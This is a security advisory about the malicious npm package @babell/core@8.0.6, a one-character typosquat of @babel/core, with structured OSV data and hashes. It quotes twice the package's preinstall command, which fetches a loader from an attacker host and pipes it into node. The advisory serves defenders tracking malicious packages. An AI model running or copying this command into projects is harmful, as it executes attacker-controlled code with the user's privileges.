Malicious code in @babell/core (npm)
@babell/core@8.0.6 impersonates @babel/core (it copies the code and metadata of @babel/core) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @babell/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ae256b9ff55b98040ea9cb6561edfe1c4e2db94bd111fb19a449651bd6b5d44b) The package's package.json defines a preinstall lifecycle script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading a JavaScript file from a third-party host (gitflic.ru/hellscripter, fetched through web.archive.org) and piping it directly into Node for execution at install time. The content fetched is unpinned, served from a non-publisher host unrelated to Babel, and executed with the privileges of the installing user. The package name `@babell/core` differs from the legitimate `@babel/core` by a single character, and its description, author, repository, homepage, and README all impersonate the real Babel project, serving as a delivery vehicle for the dropper.
MAL-2026-17497
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:MAL-2026-17497
@babell/core
Source reference: /affected/0/package/name
- Affected versions
- 8.0.6
Source reference:
/affected/0/versions - Fixed versions
- Not stated in this record
- Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"package": {
"name": "@babell/core",
"purl": "pkg:npm/%40babell/core",
"ecosystem": "npm"
},
"versions": [
"8.0.6"
],
"database_specific": {
"cwes": [
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
}
],
"source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@babell/core/MAL-2026-17497.json",
"indicators": {
"evidence_files": [
{
"path": "package.json",
"tlsh": "5981cb15ec5c8c631a827968d8d90683293945c79c85bc0d33ee6a6c0f0d65f71feb1d",
"sha256": "cc3271a8b9c4c1295febc8e6f4abeffddceeb483a74db202909537b3540bd5ec"
}
],
"package_integrity": [
{
"hashes": {
"sha1": "b5d20f05ebc09181bf3037bd35ca0d0198117197",
"sha512_sri": "sha512-8SeBklqlX5RsBS9OqwrjUfwRzc0ZVxQmnleAJXOjLWI7NvsJmyOrQQ4EyU2Pm784tzgCNW2OQwrD9Qx2dp88Cg=="
},
"filename": "core-8.0.6.tgz"
}
]
}
}
}
]Publisher severity
No explicit severity was provided.
- Event
- #85894 · Revision 1
- Added to Heist Feed
- Publisher date